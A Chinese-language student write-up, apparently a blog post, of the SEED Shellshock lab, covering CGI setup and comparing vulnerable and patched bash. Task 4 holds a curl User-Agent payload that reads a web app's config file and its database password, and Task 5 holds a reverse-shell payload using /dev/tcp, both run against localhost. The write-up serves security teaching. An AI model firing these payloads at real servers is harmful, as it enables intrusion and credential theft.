LAB 2 Shellshock Attack

利用Shellshock攻击Set-UID程序

Web服务器调用CGI程序

  为了理解Shellshock是如何攻击CGI程序的,首先需要理解CGI程序是如何被调用的。下面使用Apache Web服务器(简称“ Apache服务器” )来描述该过程。当用户向Apache服务器发送CGI请求时(如http://10.0.2.69/cgi-bin/test.cgi), Apache服务器会检查该请求。如果是一个CGI请求,Apache服务器会用fork () 函数来新建一个进程,然后使用exec()函数族中的某个函数在新进程中执行CGI程序。因为CGI程序以“ #!/bin/bash"开头,因此该程序是一个shell脚本,exec()函数实际上执行的是/bin/bash, Bash会运行shell脚本。
在这里插入图片描述
  触发Bash只是Shellshock攻击成功的条件之一。另一个重要的条件是攻击者必须通过环境变量为Bash程序提供输入。当Apache服务器创建了一个子进程执行Bash(使用exec()函数)时,它为Bash进程提供了环境变量。下面看一下哪些环境变量可以被远程用户控制。将下面的内容放在test.cgi程序中。最后一行的指令“ strings /proc/$$ /environ"能打印出一个进程的所有环境变量,Bash会将$$替换成当前进程的ID。

#!/bin/bash_shellshock
echo "Content-type : text/plain "
echo
echo " ** Environment Variables*** "
strings /proc/$$/environ

Task 1: Experimenting with Bash Function

Task1主要是设计一个实验来验证Bash是否容易受到Shellshock攻击。命令如下:

foo="() { echo "hello"; }; echo "extra";"
export foo

在这里插入图片描述
Case1:有漏洞的shell版本
输入bash_shellshock、declare -f foo和exit,结果如下:
在这里插入图片描述
Case2:无漏洞的shell版本
运行结果如下,bash后面没有输出,没有输出extra,也没有函数foo的定义:
在这里插入图片描述
结论:可以利用上面的命令来判断shell是都存在shellshock漏洞。

Task 2: Setting up CGI programs

  在这个实验中,我们将对一个远程web服务器发起Shellshock攻击。如果shell程序是易受攻击的Bash程序,我们可以利用Shellshock易受攻击来获得服务器上的特权。
设置一个非常简单的CGI程序(称为myprog.cgi),它的作用是使用shell脚本打印出“Hello World”,代码如下:

#!/bin/bash_shellshock
echo "Content-type: text/plain"
echo
echo
echo "Hello Wrold“

  需要将该CGI程序放在目标服务器的/usr/Ii b / cgi-bin目录中,并将它的权限设置为775(可执行)。这些操作需要使用root权限(使用sudo)来完成,因为只有root用户可以修改该目录中的文件。该目录是Apache服务器的默认CGI目录。
在这里插入图片描述
Case1:有漏洞的shell版本:
在这里插入图片描述
输出了Hello World。
Case2:无漏洞的shell版本:
只需要将cgi脚本的第一行改为#!/bin/bash,结果如下:
在这里插入图片描述
同样的也输出了HelloWorld。
结果分析:两次输出结果相同,这也正常,因为没有涉及到攻击,而是用到了shell提供的功能。

Task 3: Passing Data to Bash via Environment Variable

  此实验中,我们要利用基于Bash的CGI程序中的Shellshock漏洞,攻击者需要将他们的数据传递给有漏洞的Bash程序,并且需要通过环境变量传递数据。使用下面的CGI程序来演示可以向CGI程序发送任意字符串,该字符串将显示在一个环境变量的内容中。CGI脚本如下:

#!/bin/bash_shellshock
echo "Content-type: text/plain"
echo
echo "** Environment variables **"
strings /proc/$$/environ

在这里插入图片描述
Case1:有漏洞的shell版本:
在这里插入图片描述
可以看到,cgi脚本输出了环境变量。
Case2:无漏洞的shell脚本
将cgi脚本的第一行改为#!/bin/bash,结果如下:
在这里插入图片描述
可以看到,也成功输出了环境变量。
结果分析:与Task2结果相似,两次输出结果相同,因为没有涉及到攻击,而是用到了shell提供的功能。

Task 4: Launching the Shellshock Attack

  在上面的CGI程序设置好之后,我们现在可以启动Shellshock攻击了。我们可以通过URL http://localhost/cgi-bin/ myprog发起攻击,可以实现作为远程用户无法完成的事情。在本实验中,主要是使用shellshock攻击从服务器窃取一个秘密文件内容,命令如下:

curl -A "() { echo hello; }; echo Content-type: text/plain; echo; /bin/cat /var/www/CSRF/Elgg/elgg-config/settings.php" http://127.0.0.1/cgi-bin/myprog.cgi。

Case1 有漏洞的shell版本:
在这里插入图片描述
在这里插入图片描述
myprog.cgi脚本成功窃取了 /var/www/CSRF/Elgg/elgg-config/settings.php 的内容,且获取了数据库密码。
Case 2:无漏洞的版本:
将cgi脚本的第一行换成#!/bin/bash
在这里插入图片描述
可以看到,输出了环境变量,没有窃取到秘密文件。
结果分析:/bin/bash_shellshock攻击的原理是 -A 后面的字符串会作为 http头中 的 agent 发送给服务器,apache agent会构造相应的环境变量传给 shell,有漏洞的shell 看到环境变量以 A=() { 会识别成shell函数,将=替换成空格,也就是A () {,而后调用函数解析函数体,而这个函数在遇到 () { echo hello ; }; 最后的分号时,会将分号后面的指令执行,从而被攻击。/bin/bash修复了漏洞,故攻击失败。

Task 5: Getting a Reverse Shell via Shellshock Attack

  Shellshock漏洞允许攻击者在目标机器上运行任意命令。在实际的攻击中,攻击者通常选择运行shell命令,而不是在攻击中硬编码命令,这样,只要shell程序还活着,他们就可以使用这个shell运行其他命令。为了实现这个目标,攻击者需要运行一个反向shell。
  在这个实验中,主要演示如何通过CGI程序中的Shellshock漏洞启动反向shell。为了方便,这里我都在一台机器上进行演示。并且使用命令时要注意修改命令中的 IP 地址。
Case 1:有漏洞的shell版本
用命令nc -lv 8000搭建一个服务器,监听8000端口,模拟攻击端。

curl -A "() { echo hello; }; /bin/bash -i > /dev/tcp/127.0.0.1/8000 0<&1 2>&1" http://127.0.0.1/cgi-bin/myprog.cgi

在这里插入图片描述
可以看到,下面这个shell窗口可以看到反向shell已经创建成功了,用户id为www-data.
Case 2: 无漏洞的shell版本:
将cgi脚本的第一行改为#!/bin/bash,结果如下:
在这里插入图片描述
  可以发现启动反向shell失败,攻击端输出了环境变量。
  结果分析:对于有漏洞的shell,会执行“;“后面的命令,开启shell并将输入输出重定向到一个外部的tcp连接,连接成功后,我们就可以再外部使用这个连接区操作shell了。而对于没有漏洞的shell,分号后面的命令不会执行,所有反向shell会创建失败。

Task 6: Using the Patched Bash

  此实验中,我们使用一个已经打过补丁的Bash程序。程序/bin/bash是修补过的版本。重做Task 3和Task 5。
  此Task已经在上述Task3 和 Task 5中实现了,此处不再做赘述。

  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值